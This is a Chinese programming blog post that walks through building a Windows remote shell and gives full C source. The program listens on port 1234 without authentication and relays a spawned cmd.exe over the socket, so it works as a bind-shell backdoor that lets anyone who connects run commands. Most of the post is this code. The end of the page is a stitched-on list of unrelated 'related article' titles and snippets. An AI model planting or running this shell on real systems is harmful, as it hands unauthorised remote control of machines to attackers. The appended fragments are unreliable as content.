获取Windows Shell的简单示例程序二
1,创建服务端Socket,端口绑定,监听。
这也是一般的socket程序的处理流程。
2,启动循环并在循环体中接收客户端请求并返回客户端套接字。
3,启动子线程处理当前连接。在子线程中进行cmd子进程的创建及数据的发送和接受。其中子进程的输入输出重定向如下:
3.1,创建读写管道.
3.2,创建cmd子进程,将设置cmd的输入输出句柄为管道句柄.
未完待续.
程序代码:
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32");
//线程参数
struct THREADPARAM{
SOCKET socket;//客户端连接套接字.
HANDLE hReadShell;//shell的读管道句柄.
HANDLE hWriteShell;//shell的写管道句柄.
};
//接收线程
DWORD WINAPI RecvFunc(LPVOID lpParam);
//发送线程
DWORD WINAPI SendFunc(LPVOID lpParam);
void main()
{
WSADATA wsaData;
int err;
err=WSAStartup(MAKEWORD(2,2),&wsaData);
if(err != 0){
printf("WSAStartup failed\r\n");
return;
}
if(LOBYTE(wsaData.wVersion) != 2||
HIBYTE(wsaData.wVersion) != 2){
WSACleanup();
return;
}
//创建服务端套接字
SOCKET sockSrv=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(1234);
//绑定端口
bind(sockSrv,(SOCKADDR *)&addrSrv,sizeof(SOCKADDR));
//监听
listen(sockSrv,5);
while(1){
SOCKADDR_IN addrClient;
int len=sizeof(SOCKADDR);
SOCKET sockClient=accept(sockSrv,(SOCKADDR *)&addrClient,&len);
if(sockClient == INVALID_SOCKET){
printf("Invalid client socket!\r\n");
break;
}
//安全属性
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;
HANDLE hReadPipe,hWritePipe;
HANDLE hWriteShell,hReadShell;
//创建管道
if(!CreatePipe(&hReadPipe,&hWriteShell,&sa,NULL)){
printf("Create anomyous pipe failed!\r\n");
break;
};
if(!CreatePipe(&hReadShell,&hWritePipe,&sa,NULL)){
printf("Create anomyous pipe failed!\r\n");
break;
};
//设置启动参数并启动shell子进程
STARTUPINFO startupInfo;
ZeroMemory(&startupInfo,sizeof(STARTUPINFO));
startupInfo.cb=sizeof(STARTUPINFO);
startupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
startupInfo.hStdInput =hReadPipe;
startupInfo.hStdOutput=hWritePipe;
startupInfo.hStdError = hWritePipe;
startupInfo.wShowWindow=SW_SHOW;
PROCESS_INFORMATION pi;
CreateProcess(NULL,"cmd",NULL,NULL,
TRUE,0,NULL,NULL,&startupInfo,&pi);
DWORD threadId1,threadId2;
THREADPARAM tp;
tp.socket=sockClient;
tp.hReadShell=hReadShell;
tp.hWriteShell=hWriteShell;
HANDLE h1=CreateThread(NULL,0,RecvFunc,(LPVOID)&tp,NULL,&threadId1);
HANDLE h2= CreateThread(NULL,0,SendFunc,(LPVOID)&tp,NULL,&threadId2);
//WaitForSingleObject(h1,INFINITE);
//WaitForSingleObject(h2,INFINITE);
}
closesocket(sockSrv);
WSACleanup();
return ;
}
DWORD WINAPI RecvFunc(LPVOID lpParam){
THREADPARAM *pParam=(THREADPARAM *)lpParam;
char buf[4096];
while(1){
if(pParam->socket == INVALID_SOCKET){
return 0;
}
memset(buf,0,4096);
DWORD dwRecvLen=recv(pParam->socket,buf,100,0);
if(dwRecvLen <= 0){
closesocket(pParam->socket);
pParam->socket=INVALID_SOCKET;
return 0;
}
DWORD dwBytesWritten;
WriteFile(pParam->hWriteShell,buf,dwRecvLen,&dwBytesWritten,0);
printf("In RecvFunc:\nsocket=0x%08x\r\n",pParam->socket);
printf("Write %d bytes:%s,%d bytes writen actually\r\n",dwRecvLen,buf,dwBytesWritten);
}
return 0;
}
DWORD WINAPI SendFunc(LPVOID lpParam){
THREADPARAM *pParam=(THREADPARAM *)lpParam;
char buf[4096];
while(1){
if(pParam->socket == INVALID_SOCKET)
return 0;
memset(buf,0,4096);
DWORD dwRead=0;
ReadFile(pParam->hReadShell,buf,100,&dwRead,0);
if(dwRead != 0){
int ret=send(pParam->socket,buf,dwRead+1,0);
printf("In SendFunc:\nsocket=0x%08x\r\n",pParam->socket);
printf("Read %d bytes:%s\r\nSend",dwRead,buf);
}
}
return 0;
}
程序在处理客户端断开连接时还未加处理.欢迎读者给我提出一些意见和建议.
转载于:https://www.cnblogs.com/cmleung/archive/2009/09/23/1572279.html
获取Windows Shell的简单示例程序二相关推荐
- php定时刷新token,PHP 定时任务获取微信access_token的简单示例
搜索热词 感兴趣PHP 定时任务获取微信access_token的简单示例的小伙伴,下面一起跟随编程之家 jb51.cc的小编来看看吧. 最近开发微信公众平台,公众号调用各接口时都需使用access_ ...
- 字符串的前缀与后缀和简单示例程序win32版
定义: 字符串的前缀:符号串左部的任意子串(或者说是字符串的任意首部) 字符串的后缀:符号串右部的任意子串(或者说是字符串的任意尾部) 举例 比如说有一个长度为5字符串 x = "ababc ...
- Windows守护进程简单示例
转载: https://blog.csdn.net/kikaylee/article/details/51395360 /* @描述:一个简单的Windows守护进程的例子(C++版本) @作者:ki ...
- Python3 借助pywin32模块获取Windows当前和所有窗口正在运行的应用程序信息
安装pywin32请参考:https://coco56.blog.csdn.net/article/details/102231139 文章目录 获取Windows当前窗口的应用程序信息 获取Wind ...
- Linux下的示例程序
linux下的示例程序 #if 0 /* * 1. 遍历目录-1 */ #include <stdio.h> #include <dirent.h> #include &l ...
- NET探秘:MSIL权威指南 简单示例
CLR基础 CLR是供.NET应用程序使用的运行时环境,它在.NET应用程序和底层操作系统之间提供了一个操作层. CLS公共语言规范,限制了命名约定.数据类型.函数类型以及某些其他元素,为不同的语言提 ...
- [转]ASP.NET MVC3 新手教程:Hellow简单示例
本文转自:http://www.cyqdata.com/cnblogs/article-detail-52905 今天给大伙介绍一下:ASP.NET MVC3 新手教程:Hellow简单示例,帮助新手 ...
- Windows下运行Fast DDS示例程序(包含.idl文件的使用方法)
本文默认以二进制方式安装好了 Fast DDS(安装包可以从官网获取,建议使用下载工具提速).运行环境是Windows. 本文介绍了两种方法,一种是直接编译运行,另一种是从.idl文件编译运行. 准备 ...
- 获取windows程序界面数据
文章目录 结论 可以尝试的其他方向 最后的挣扎 基础知识 win7/win10查看某个进程的句柄数 句柄的概念 Windows MFC.SDK和API的区别和联系 Windows MFC(C++开发) ...
最新文章
- 【开发环境】010 Editor 工具 ( 工具下载 | 二进制文件分析模板模板安装 | 快捷键查看与设置 )
- 【原生js】js动态添加dom,如何绑定事件
- 十分钟学习nginx
- librtmp协议分析---RTMP_SendPacket函数
- 远程桌面时提示凭证不工作问题的终极解决办法
- Valid signing identity not found解决办法(原有IDP私钥丢失)
- 马云:未来10年,人类将面临AI、IoT和区块链3大挑战!(视频+全文)
- MySQL String Types
- 通过一个月时间字段分组
- 服务器怎么控制忽略样式_看问题要看到本质:从Web服务器说起
- arduino的esp32程序无法上传_【arduino】arudino开发ESP32 SPIFFS文件上传方法
- 慕课网vue播放器最新QQ音乐api
- Android 百度图像识别(详细步骤+源码)
- c语言教程免费ppt,《C语言教程》PPT课件.ppt
- 韩媒:开城韩商访朝申请或最晚25日出结果
- 华为会员开放服务(Membership Kit),助力移动应用快速建设会员生态
- 解密腾讯前端技术体系
- pytorch张量相乘matmul函数
- windows10 freeswitch soundtouch 变声
- weblogic(一).简介与安装